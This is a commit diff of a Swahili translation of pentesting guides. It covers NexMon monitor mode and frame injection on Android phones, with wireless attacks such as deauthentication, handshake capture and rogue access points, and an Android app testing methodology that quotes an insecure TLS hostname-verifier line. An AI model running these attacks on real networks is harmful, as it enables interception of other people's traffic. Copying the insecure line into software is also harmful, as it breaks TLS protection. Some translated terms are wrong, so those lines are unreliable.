Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 17:14:46 +00:00
parent 3a173c0f8a
commit fc4b571e16
9 changed files with 168 additions and 168 deletions

View File

@ -3,20 +3,20 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Muhtasari ## Muhtasari
Simu nyingi za kisasa za Android zina chip ya Wi-Fi ya Broadcom/Cypress ambayo inakuja bila uwezo wa 802.11 monitor mode au frame-injection. Mfumo wa wazi wa NexMon unarekebisha firmware ya miliki ili kuongeza vipengele hivyo na kuviweka wazi kupitia maktaba ya pamoja (`libnexmon.so`) na msaidizi wa CLI (`nexutil`). Kwa kuingiza maktaba hiyo kwenye dereva wa Wi-Fi wa kawaida, kifaa kilichopandishwa haki kinaweza kukamata trafiki ya 802.11 na kuingiza fremu zisizo na mipaka kuondoa hitaji la adapter ya USB ya nje. Simu nyingi za kisasa za Android zina chip ya Wi-Fi ya Broadcom/Cypress ambayo inakuja bila uwezo wa monitor mode wa 802.11 au frame-injection. Mfumo wa wazi wa NexMon unarekebisha firmware ya miliki ili kuongeza vipengele hivyo na kuviweka wazi kupitia maktaba ya pamoja (`libnexmon.so`) na msaidizi wa CLI (`nexutil`). Kwa kuingiza maktaba hiyo kwenye dereva wa Wi-Fi wa kawaida, kifaa kilichopandishwa haki kinaweza kukamata trafiki ya 802.11 na kuingiza frames zisizo na mipaka kuondoa hitaji la adapter ya USB ya nje.
Ukurasa huu unadokeza mchakato wa haraka unaotumia Samsung Galaxy S10 iliyorekebishwa kikamilifu (BCM4375B1) kama mfano, ukitumia: Ukurasa huu unadokeza mchakato wa haraka unaotumia Samsung Galaxy S10 iliyorekebishwa kikamilifu (BCM4375B1) kama mfano, ukitumia:
* Moduli ya NexMon Magisk inayojumuisha firmware iliyorekebishwa + `libnexmon.so` * Moduli ya NexMon Magisk inayojumuisha firmware iliyorekebishwa + `libnexmon.so`
* Programu ya Hijacker ya Android ili kuharakisha kubadilisha monitor-mode * Programu ya Hijacker ya Android ili kuharakisha kubadilisha monitor-mode
* Kali NetHunter chroot ya hiari ili kukimbia zana za kawaida za wireless (aircrack-ng, wifite, mdk4 …) moja kwa moja dhidi ya kiunganishi cha ndani * Kali NetHunter chroot ya hiari ili kukimbia zana za kawaida za wireless (aircrack-ng, wifite, mdk4 …) moja kwa moja dhidi ya interface ya ndani
Teknolojia hiyo hiyo inatumika kwa simu yoyote ambayo ina patch ya NexMon inayopatikana hadharani (Pixel 1, Nexus 6P, Galaxy S7/S8, n.k.). Teknolojia hiyo hiyo inatumika kwa simu yoyote ambayo ina patch ya NexMon inayopatikana hadharani (Pixel 1, Nexus 6P, Galaxy S7/S8, n.k.).
--- ---
## Masharti ## Masharti
* Simu ya Android yenye chip ya Broadcom/Cypress inayoungwa mkono (mfano: BCM4358/59/43596/4375B1) * Simu ya Android yenye chipset ya Broadcom/Cypress inayoungwa mkono (mfano: BCM4358/59/43596/4375B1)
* Root na Magisk ≥ 24 * Root na Magisk ≥ 24
* BusyBox (ROM nyingi/NetHunter tayari zinajumuisha) * BusyBox (ROM nyingi/NetHunter tayari zinajumuisha)
* NexMon Magisk ZIP au patch iliyojitengeneza inayotoa: * NexMon Magisk ZIP au patch iliyojitengeneza inayotoa:
@ -58,12 +58,12 @@ Ikiwa Hijacker inaonyesha makosa wakati wa uzinduzi, tengeneza saraka inayohitaj
mkdir -p /storage/emulated/0/Hijacker mkdir -p /storage/emulated/0/Hijacker
``` ```
### What do those `nexutil` flags mean? ### What do those `nexutil` flags mean?
* **`-s0x613`** Andika variable ya firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (wezesha TX ya frames za kawaida). * **`-s0x613`** Andika variable ya firmware 0x613 (FCAP_FRAME_INJECTION) → `1` (wezesha TX ya fremu za kawaida).
* **`-i`** Weka interface katika hali ya monitor (kichwa cha radiotap kitaongezwa). * **`-i`** Weka interface katika hali ya ufuatiliaji (kichwa cha radiotap kitaongezwa).
* **`-v2`** Weka kiwango cha maelezo; `2` inachapisha uthibitisho na toleo la firmware. * **`-v2`** Weka kiwango cha maelezo; `2` inachapisha uthibitisho na toleo la firmware.
* **`-m0`** Rejesha hali ya usimamizi (inayotumika katika amri ya *disable*). * **`-m0`** Rejesha hali ya usimamizi (inayotumika katika amri ya *disable*).
Baada ya kuendesha *Enable monitor mode* unapaswa kuona interface katika hali ya monitor na uweze kukamata frames za raw na: Baada ya kuendesha *Enable monitor mode* unapaswa kuona interface katika hali ya ufuatiliaji na uweze kukamata fremu za kawaida kwa:
```bash ```bash
airodump-ng --band abg wlan0 airodump-ng --band abg wlan0
``` ```
@ -84,12 +84,12 @@ Ikiwa unahitaji tu sniffing ya passively, acha bendera `-s0x613`.
## Kutumia `libnexmon` ndani ya Kali NetHunter / chroot ## Kutumia `libnexmon` ndani ya Kali NetHunter / chroot
Zana za kawaida za mtumiaji katika Kali hazijui kuhusu NexMon, lakini unaweza kuzilazimisha kuzitumia kupitia `LD_PRELOAD`: Zana za kawaida za mtumiaji katika Kali hazijui kuhusu NexMon, lakini unaweza kuzilazimisha kuzitumia kupitia `LD_PRELOAD`:
1. Nakili kitu kilichojengwa tayari ndani ya chroot: 1. Nakili kituo kilichojengwa tayari ndani ya chroot:
```bash ```bash
cp /sdcard/Download/kalilibnexmon.so <chroot>/lib/ cp /sdcard/Download/kalilibnexmon.so <chroot>/lib/
``` ```
2. Wezesha hali ya ufuatiliaji kutoka kwa **Android host** (amri hapo juu au kupitia Hijacker). 2. Wezesha hali ya ufuatiliaji kutoka kwa **Android host** (amri hapo juu au kupitia Hijacker).
3. Anzisha chombo chochote cha wireless ndani ya Kali na preload: 3. Anzisha zana yoyote ya wireless ndani ya Kali na preload:
```bash ```bash
sudo su sudo su
export LD_PRELOAD=/lib/kalilibnexmon.so export LD_PRELOAD=/lib/kalilibnexmon.so
@ -102,13 +102,13 @@ Kwa sababu firmware tayari inashughulikia kuingiza radiotap, zana za mtumiaji zi
--- ---
## Mashambulizi ya Kawaida Yanayowezekana ## Mashambulizi ya Kawaida Yanayowezekana
Mara tu monitor + TX inapoanzishwa unaweza: Mara tu hali ya ufuatiliaji + TX inapoanzishwa unaweza:
* Kukamata WPA(2/3-SAE) handshakes au PMKID kwa kutumia `wifite`, `hcxdumptool`, `airodump-ng`. * Kukamata WPA(2/3-SAE) handshakes au PMKID kwa kutumia `wifite`, `hcxdumptool`, `airodump-ng`.
* Kuingiza frames za kuondoa uthibitisho / kutenganisha ili kulazimisha wateja kuungana tena. * Kuingiza frames za kuondoa uthibitisho / kutenganisha ili kulazimisha wateja kuungana tena.
* Kuunda frames za usimamizi/data za kiholela kwa kutumia `mdk4`, `aireplay-ng`, Scapy, nk. * Kuunda frames za usimamizi/data za kiholela kwa kutumia `mdk4`, `aireplay-ng`, Scapy, nk.
* Kujenga AP za uasi au kufanya mashambulizi ya KARMA/MANA moja kwa moja kutoka kwa simu. * Kujenga AP za uasi au kufanya mashambulizi ya KARMA/MANA moja kwa moja kutoka kwenye simu.
Utendaji kwenye Galaxy S10 ni sawa na NIC za USB za nje (~20 dBm TX, 2-3 M pps RX). Utendaji kwenye Galaxy S10 ni sawa na NICs za USB za nje (~20 dBm TX, 2-3 M pps RX).
--- ---

BIN
src/images/discount.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Misingi ya Programu za Android ## Msingi wa Programu za Android
Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na vipengele hatari zaidi katika programu ya Android**: Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na vipengele hatari zaidi katika programu ya Android**:
@ -12,8 +12,8 @@ android-applications-basics.md
## ADB (Android Debug Bridge) ## ADB (Android Debug Bridge)
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichotengenezwa au halisi).\ Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Network** kutoka kwa kompyuta. Hii utility inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** logi, kati ya kazi nyingine. **ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Hii huduma inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb. Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
@ -53,7 +53,7 @@ Tafadhali, [**soma hapa kupata taarifa kuhusu decompilers mbalimbali zinazopatik
### Looking for interesting Info ### Looking for interesting Info
Kwa kuangalia tu **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** funguo, **sifuri**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (akili za admin zilizowekwa ndani ya programu). Kwa kuangalia tu **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** na chochote kinachovutia... angalia hata kwa utekelezaji wa msimbo **backdoors** au backdoors za uthibitishaji (credentials za admin zilizowekwa kwa nguvu kwenye programu).
**Firebase** **Firebase**
@ -65,19 +65,19 @@ Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [T
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na: **Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kuikandamiza programu zinazoweza kudhibitiwa, rejelea mafunzo kuhusu kutafuta na kuikandamiza programu zinazoweza kudhibitiwa kwenye kifaa. - **Programu za Debuggable**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kuikandamiza programu za debuggable, rejelea mafunzo kuhusu kutafuta na kuikandamiza programu za debuggable kwenye kifaa.
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa. - **Mipangilio ya Backup**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa za data kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum. - **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pin za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
- **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kuikandamiza vipengele hivi. - **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dynamic unaweza kufichua jinsi ya kuikandamiza vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini. - **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini.
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo. - **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosupport toleo la zamani la Android lenye udhaifu kwa sababu za usalama. - **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosupport toleo la Android lililozeeka na lenye udhaifu kwa sababu za usalama.
Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi. Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama vile funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi.
### Tapjacking ### Tapjacking
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\ **Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, interface yake ya mtumiaji imeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
Kwa kweli, inamfanya mtumiaji **kutojua kuwa anafanya vitendo kwenye programu ya mwathirika**. Kwa kweli, inamfanya mtumiaji **kutojua kuwa anafanya vitendo kwenye programu ya mwathirika**.
Pata taarifa zaidi katika: Pata taarifa zaidi katika:
@ -88,7 +88,7 @@ tapjacking.md
### Task Hijacking ### Task Hijacking
**Shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakabiliwa na hatari ya Hijacking ya kazi. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**). **Shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakabiliwa na hatari ya task Hijacking. Hii inamaanisha kuwa, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuhijack kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
Taarifa zaidi katika: Taarifa zaidi katika:
@ -100,28 +100,28 @@ android-task-hijacking.md
**Hifadhi ya Ndani** **Hifadhi ya Ndani**
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya. Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
1. **Uchambuzi wa Kimuundo:** 1. **Static Analysis:**
- **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**. - **Hakikisha** kuwa matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
2. **Uchambuzi wa Kijamii:** 2. **Dynamic Analysis:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi. - **Thibitisha** **idhini** zilizowekwa kwenye faili zilizotengenezwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
**Hifadhi ya Nje** **Hifadhi ya Nje**
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani zinapaswa kuchukuliwa: Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani zinapaswa kuchukuliwa:
1. **Upatikanaji**: 1. **Ufikivu**:
- Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi. - Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi.
2. **Masuala ya Usalama**: 2. **Masuala ya Usalama**:
- Kwa sababu ya urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje. - Kwa sababu ya urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kuifanya kuwa na usalama mdogo. - Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
3. **Kushughulikia Data kutoka Hifadhi ya Nje**: 3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika. - Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunakataliwa vikali. - Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dynamic kunashauriwa kuto kufanywa.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisayansi** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako. - Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya cryptographic** kabla ya kupakiwa kwa dynamic. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP] > [!TIP]
> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine. > Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
@ -129,7 +129,7 @@ Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `
**Taarifa nyeti zilizohifadhiwa kwa maandiko wazi** **Taarifa nyeti zilizohifadhiwa kwa maandiko wazi**
- **Mipangilio ya pamoja**: Android inaruhusu kila programu kuhifadhi kwa urahisi faili za xml katika njia `/data/data/<packagename>/shared_prefs/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo. - **Mipangilio ya pamoja**: Android inaruhusu kila programu kuhifadhi kwa urahisi faili za xml katika njia `/data/data/<packagename>/shared_prefs/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
- **Mikakati**: Android inaruhusu kila programu kuhifadhi kwa urahisi mikakati ya sqlite katika njia `/data/data/<packagename>/databases/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo. - **Maktaba**: Android inaruhusu kila programu kuhifadhi kwa urahisi maktaba za sqlite katika njia `/data/data/<packagename>/databases/` na wakati mwingine inawezekana kupata taarifa nyeti kwa maandiko wazi katika folda hiyo.
### Broken TLS ### Broken TLS
@ -142,21 +142,21 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
``` ```
Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama Burp bila kuidhinisha Burp CA ndani ya kifaa. Pia, unaweza kuunda na Burp cheti kwa jina la mwenyeji tofauti na kulitumika. Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama Burp bila kuidhinisha Burp CA ndani ya kifaa. Pia, unaweza kuunda na Burp cheti kwa jina la mwenyeji tofauti na kulitumika.
### Uthibitishaji wa Kifaa ### Uthibitishaji wa Kificho
**Mchakato Mbaya wa Usimamizi wa Funguo** **Mchakato Mbaya wa Usimamizi wa Funguo**
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri. Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/zinazoweza kutabiriwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
**Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati** **Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati**
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazostahimili **brute-force** zinapaswa kutumika na chumvi. Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
### Ukaguzi Mwingine ### Ukaguzi Mwingine
- Inapendekezwa **kuficha APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji. - Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia ikiwa **emulator** inatumika. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
- Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK - Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK
@ -180,9 +180,9 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog
Kulingana na [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.** Kulingana na [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.**
### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki ### Uchambuzi wa Msimbo wa Kijamii wa Kiotomatiki
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **kanuni**. Kanuni hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu. Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**. Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
@ -196,7 +196,7 @@ Programu inaweza kuwa na siri (funguo za API, nywila, URLs zilizofichwa, subdoma
bypass-biometric-authentication-android.md bypass-biometric-authentication-android.md
{{#endref}} {{#endref}}
### Kazi Nyingine za Kuvutia ### Kazi Mwingine za Kuvutia
- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage` - **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
@ -244,7 +244,7 @@ avd-android-virtual-device.md
> [!TIP] > [!TIP]
